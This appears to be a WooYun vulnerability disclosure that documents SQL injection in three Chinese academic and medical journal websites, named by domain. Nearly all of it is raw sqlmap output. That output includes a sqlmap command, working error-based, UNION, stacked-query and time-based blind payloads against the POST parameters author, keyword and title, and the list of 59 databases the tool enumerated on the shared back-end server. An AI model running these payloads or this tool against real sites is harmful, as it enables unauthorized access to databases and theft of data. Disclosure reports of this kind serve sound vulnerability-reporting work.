WooYun.org

案例一：湖南大学 http://dxjykx.cnmanu.cn/
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: author
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: author=1%' AND 9293=CONVERT(INT,(SELECT CHAR(58)+CHAR(109)+CHAR(105
)+CHAR(112)+CHAR(58)+(SELECT (CASE WHEN (9293=9293) THEN CHAR(49) ELSE CHAR(48)
END))+CHAR(58)+CHAR(115)+CHAR(97)+CHAR(117)+CHAR(58))) AND '%'='&butSearch=??&ke
yword=assd&Lm=2&Nian=2016&operat=&Qi=1&state=&title=wolf
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: author=1%' UNION ALL SELECT NULL, NULL, NULL, NULL, CHAR(58)+CHAR(1
09)+CHAR(105)+CHAR(112)+CHAR(58)+CHAR(100)+CHAR(74)+CHAR(79)+CHAR(71)+CHAR(115)+
CHAR(88)+CHAR(77)+CHAR(80)+CHAR(88)+CHAR(82)+CHAR(58)+CHAR(115)+CHAR(97)+CHAR(11
7)+CHAR(58), NULL-- &butSearch=??&keyword=assd&Lm=2&Nian=2016&operat=&Qi=1&state
=&title=wolf
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: author=1%'; WAITFOR DELAY '0:0:5'--&butSearch=??&keyword=assd&Lm=2&
Nian=2016&operat=&Qi=1&state=&title=wolf
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: author=1%' WAITFOR DELAY '0:0:5'--&butSearch=??&keyword=assd&Lm=2&N
ian=2016&operat=&Qi=1&state=&title=wolf
Place: POST
Parameter: keyword
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: author=1&butSearch=??&keyword=assd%' AND 4223=CONVERT(INT,(SELECT C
HAR(58)+CHAR(109)+CHAR(105)+CHAR(112)+CHAR(58)+(SELECT (CASE WHEN (4223=4223) TH
EN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(115)+CHAR(97)+CHAR(117)+CHAR(58)))
AND '%'='&Lm=2&Nian=2016&operat=&Qi=1&state=&title=wolf
Type: UNION query
Title: Generic UNION query (78) - 6 columns
Payload: author=1&butSearch=??&keyword=assd%' UNION ALL SELECT 78, 78, 78, 7
8, 78, CHAR(58)+CHAR(109)+CHAR(105)+CHAR(112)+CHAR(58)+CHAR(75)+CHAR(90)+CHAR(88
)+CHAR(113)+CHAR(110)+CHAR(103)+CHAR(76)+CHAR(85)+CHAR(80)+CHAR(114)+CHAR(58)+CH
AR(115)+CHAR(97)+CHAR(117)+CHAR(58)-- &Lm=2&Nian=2016&operat=&Qi=1&state=&title=
wolf
Place: POST
Parameter: title
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: author=1&butSearch=??&keyword=assd&Lm=2&Nian=2016&operat=&Qi=1&stat
e=&title=wolf%' AND 4163=CONVERT(INT,(SELECT CHAR(58)+CHAR(109)+CHAR(105)+CHAR(1
12)+CHAR(58)+(SELECT (CASE WHEN (4163=4163) THEN CHAR(49) ELSE CHAR(48) END))+CH
AR(58)+CHAR(115)+CHAR(97)+CHAR(117)+CHAR(58))) AND '%'='
Type: UNION query
Title: Generic UNION query (78) - 6 columns
Payload: author=1&butSearch=??&keyword=assd&Lm=2&Nian=2016&operat=&Qi=1&stat
e=&title=wolf%' UNION ALL SELECT 78, 78, 78, 78, CHAR(58)+CHAR(109)+CHAR(105)+CH
AR(112)+CHAR(58)+CHAR(108)+CHAR(97)+CHAR(79)+CHAR(74)+CHAR(71)+CHAR(110)+CHAR(69
)+CHAR(116)+CHAR(108)+CHAR(82)+CHAR(58)+CHAR(115)+CHAR(97)+CHAR(117)+CHAR(58), 7
8--
---
there were multiple injection points, please select the one to use for following
injections:
[0] place: POST, parameter: author, type: Single quoted string (default)
[1] place: POST, parameter: title, type: Single quoted string
[2] place: POST, parameter: keyword, type: Single quoted string
[q] Quit
>
[13:41:08] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[13:41:08] [INFO] testing if current user is DBA
current user is DBA: False
[13:41:08] [INFO] fetching database names
[13:41:08] [INFO] the SQL query used returns 59 entries
available databases [59]:
[*] bl
[*] cdxxgc
[*] cg
[*] cghy
[*] cy
[*] cymx
[*] d1
[*] demcom
[*] demo
[*] dj
[*] dxjykx
[*] Eye
[*] gjzhyx
[*] GuaHao
[*] hh
[*] hhzrkx
[*] hlgl
[*] hnxbyx
[*] hxyqdz
[*] j4e
[*] jjyx
[*] lcjsyx
[*] lcjyzzs
[*] lcsjbx
[*] lcsjwk
[*] lnyxybj
[*] main
[*] master
[*] mfskin
[*] model
[*] mrzxwk
[*] msdb
[*] mz
[*] mzyfs
[*] njsd
[*] nky
[*] Northwind
[*] nxgb
[*] nydxxb
[*] pifu
[*] pubs
[*] rfic
[*] SMS
[*] st
[*] sypfb
[*] tempdb
[*] test
[*] wcbx
[*] wf
[*] wlxb
[*] xdx
[*] xhnj
[*] xjyx
[*] xnxyxb
[*] yxjz
[*] zdblx
[*] zjyx
[*] zr
[*] zxyjh
[13:41:08] [INFO] fetched data logged to text files under 'I:\????\SQLMAP~1\Bin\
output\dxjykx.cnmanu.cn'
[*] shutting down at 13:41:08
案例二：上海交通大学医学院附属仁济医院 http://www.cjge-manuscriptcentral.com
D:\Python27\sqlmap>sqlmap.py -r 1.txt --dbs
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
[*] starting at: 13:25:16
[13:25:16] [INFO] parsing HTTP request from '1.txt'
[13:25:16] [INFO] using 'D:\Python27\sqlmap\output\www.cjge-manuscriptcentral.co
m\session' as session file
[13:25:16] [INFO] resuming injection data from session file
[13:25:16] [INFO] resuming back-end DBMS 'microsoft sql server 2000' from sessio
n file
[13:25:16] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: author
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: author=1'; WAITFOR DELAY '0:0:5';-- AND 'enfS'='enfS&butSearch=查询
&keyword=assd&Lm=2&Nian=2016&operat=&Qi=1&state=&title=Mr.
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: author=1' WAITFOR DELAY '0:0:5'-- AND 'ExWQ'='ExWQ&butSearch=查询&k
eyword=assd&Lm=2&Nian=2016&operat=&Qi=1&state=&title=Mr.
---
[13:25:17] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[13:25:17] [INFO] fetching database names
[13:25:17] [INFO] fetching number of databases
[13:25:17] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
59
[13:25:47] [INFO] retrieved:
[13:25:52] [WARNING] adjusting time delay to 1 second
bl
[13:26:33] [INFO] retrieved: cdxxgc
[13:27:12] [INFO] retrieved: cg
[13:27:25] [INFO] retrieved: cghy
[13:27:51] [INFO] retrieved: cy
[13:28:03] [INFO] retrieved: cymx
[13:28:30] [INFO] retrieved: d1
[13:28:42] [INFO] retrieved: demcom
[13:29:18] [INFO] retrieved: demo
[13:29:44] [INFO] retrieved: dj
[13:29:58] [INFO] retrieved: dxjykx
[13:30:39] [INFO] retrieved: Eye
[13:30:56] [INFO] retrieved: gjzhyx
[13:31:38] [INFO] retrieved: GuaHao
[13:32:13] [INFO] retrieved: hh
[13:32:30] [INFO] retrieved: hhzrkx
[13:33:13] [INFO] retrieved: hlgl
[13:33:43] [INFO] retrieved: hnxbyx
[13:34:26] [INFO] retrieved: hxyqdz
[13:35:07] [INFO] retrieved: j4e
[13:35:27] [INFO] retrieved: jjyx
[13:35:55] [INFO] retrieved: lcjsyx
[13:36:35] [INFO] retrieved: lcjyzzs
[13:37:23] [INFO] retrieved: lcsjbx
没有检测完，就证明下漏洞能够获取到数据库信息即可了吧！
案例三：中国美容整形外科杂志 mr.cnmanu.cn
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: title
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: author=1&butSearch=??&keyword=assd&Lm=2&Nian=2016&operat=&Qi=1&stat
e=&title=wolf%' AND 7683=CONVERT(INT,(SELECT CHAR(58)+CHAR(104)+CHAR(119)+CHAR(1
14)+CHAR(58)+(SELECT (CASE WHEN (7683=7683) THEN CHAR(49) ELSE CHAR(48) END))+CH
AR(58)+CHAR(110)+CHAR(119)+CHAR(116)+CHAR(58))) AND '%'='
Type: UNION query
Title: Generic UNION query (41) - 6 columns
Payload: author=1&butSearch=??&keyword=assd&Lm=2&Nian=2016&operat=&Qi=1&stat
e=&title=wolf%' UNION ALL SELECT 41, 41, 41, 41, CHAR(58)+CHAR(104)+CHAR(119)+CH
AR(114)+CHAR(58)+CHAR(76)+CHAR(69)+CHAR(116)+CHAR(66)+CHAR(113)+CHAR(78)+CHAR(71
)+CHAR(76)+CHAR(75)+CHAR(98)+CHAR(58)+CHAR(110)+CHAR(119)+CHAR(116)+CHAR(58), 41
--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: author=1&butSearch=??&keyword=assd&Lm=2&Nian=2016&operat=&Qi=1&stat
e=&title=wolf%'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: author=1&butSearch=??&keyword=assd&Lm=2&Nian=2016&operat=&Qi=1&stat
e=&title=wolf%' WAITFOR DELAY '0:0:5'--
Place: POST
Parameter: keyword
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: author=1&butSearch=??&keyword=assd%' AND 2981=CONVERT(INT,(SELECT C
HAR(58)+CHAR(104)+CHAR(119)+CHAR(114)+CHAR(58)+(SELECT (CASE WHEN (2981=2981) TH
EN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(110)+CHAR(119)+CHAR(116)+CHAR(58))
) AND '%'='&Lm=2&Nian=2016&operat=&Qi=1&state=&title=wolf
Type: UNION query
Title: Generic UNION query (41) - 6 columns
Payload: author=1&butSearch=??&keyword=assd%' UNION ALL SELECT 41, 41, 41, 4
1, 41, CHAR(58)+CHAR(104)+CHAR(119)+CHAR(114)+CHAR(58)+CHAR(122)+CHAR(72)+CHAR(1
05)+CHAR(70)+CHAR(111)+CHAR(73)+CHAR(83)+CHAR(98)+CHAR(117)+CHAR(100)+CHAR(58)+C
HAR(110)+CHAR(119)+CHAR(116)+CHAR(58)-- &Lm=2&Nian=2016&operat=&Qi=1&state=&titl
e=wolf
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: author=1&butSearch=??&keyword=assd%'; WAITFOR DELAY '0:0:5'--&Lm=2&
Nian=2016&operat=&Qi=1&state=&title=wolf
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: author=1&butSearch=??&keyword=assd%' WAITFOR DELAY '0:0:5'--&Lm=2&N
ian=2016&operat=&Qi=1&state=&title=wolf
Place: POST
Parameter: author
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: author=1%' AND 6529=CONVERT(INT,(SELECT CHAR(58)+CHAR(104)+CHAR(119
)+CHAR(114)+CHAR(58)+(SELECT (CASE WHEN (6529=6529) THEN CHAR(49) ELSE CHAR(48)
END))+CHAR(58)+CHAR(110)+CHAR(119)+CHAR(116)+CHAR(58))) AND '%'='&butSearch=??&k
eyword=assd&Lm=2&Nian=2016&operat=&Qi=1&state=&title=wolf
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: author=1%' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CHAR(58)+
CHAR(104)+CHAR(119)+CHAR(114)+CHAR(58)+CHAR(119)+CHAR(119)+CHAR(101)+CHAR(76)+CH
AR(87)+CHAR(114)+CHAR(81)+CHAR(75)+CHAR(70)+CHAR(71)+CHAR(58)+CHAR(110)+CHAR(119
)+CHAR(116)+CHAR(58)-- &butSearch=??&keyword=assd&Lm=2&Nian=2016&operat=&Qi=1&st
ate=&title=wolf
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: author=1%'; WAITFOR DELAY '0:0:5'--&butSearch=??&keyword=assd&Lm=2&
Nian=2016&operat=&Qi=1&state=&title=wolf
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: author=1%' WAITFOR DELAY '0:0:5'--&butSearch=??&keyword=assd&Lm=2&N
ian=2016&operat=&Qi=1&state=&title=wolf
---
there were multiple injection points, please select the one to use for following
injections:
[0] place: POST, parameter: author, type: Single quoted string (default)
[1] place: POST, parameter: title, type: Single quoted string
[2] place: POST, parameter: keyword, type: Single quoted string
[q] Quit
>
[13:40:55] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[13:40:55] [INFO] testing if current user is DBA
current user is DBA: False
[13:40:55] [INFO] fetching database names
[13:40:55] [INFO] the SQL query used returns 59 entries
available databases [59]:
[*] bl
[*] cdxxgc
[*] cg
[*] cghy
[*] cy
[*] cymx
[*] d1
[*] demcom
[*] demo
[*] dj
[*] dxjykx
[*] Eye
[*] gjzhyx
[*] GuaHao
[*] hh
[*] hhzrkx
[*] hlgl
[*] hnxbyx
[*] hxyqdz
[*] j4e
[*] jjyx
[*] lcjsyx
[*] lcjyzzs
[*] lcsjbx
[*] lcsjwk
[*] lnyxybj
[*] main
[*] master
[*] mfskin
[*] model
[*] mrzxwk
[*] msdb
[*] mz
[*] mzyfs
[*] njsd
[*] nky
[*] Northwind
[*] nxgb
[*] nydxxb
[*] pifu
[*] pubs
[*] rfic
[*] SMS
[*] st
[*] sypfb
[*] tempdb
[*] test
[*] wcbx
[*] wf
[*] wlxb
[*] xdx
[*] xhnj
[*] xjyx
[*] xnxyxb
[*] yxjz
[*] zdblx
[*] zjyx
[*] zr
[*] zxyjh
[13:40:55] [INFO] fetched data logged to text files under 'I:\????\SQLMAP~1\Bin\
output\mr.cnmanu.cn'
[*] shutting down at 13:40:55
审核的大牛这样可以了吧~~~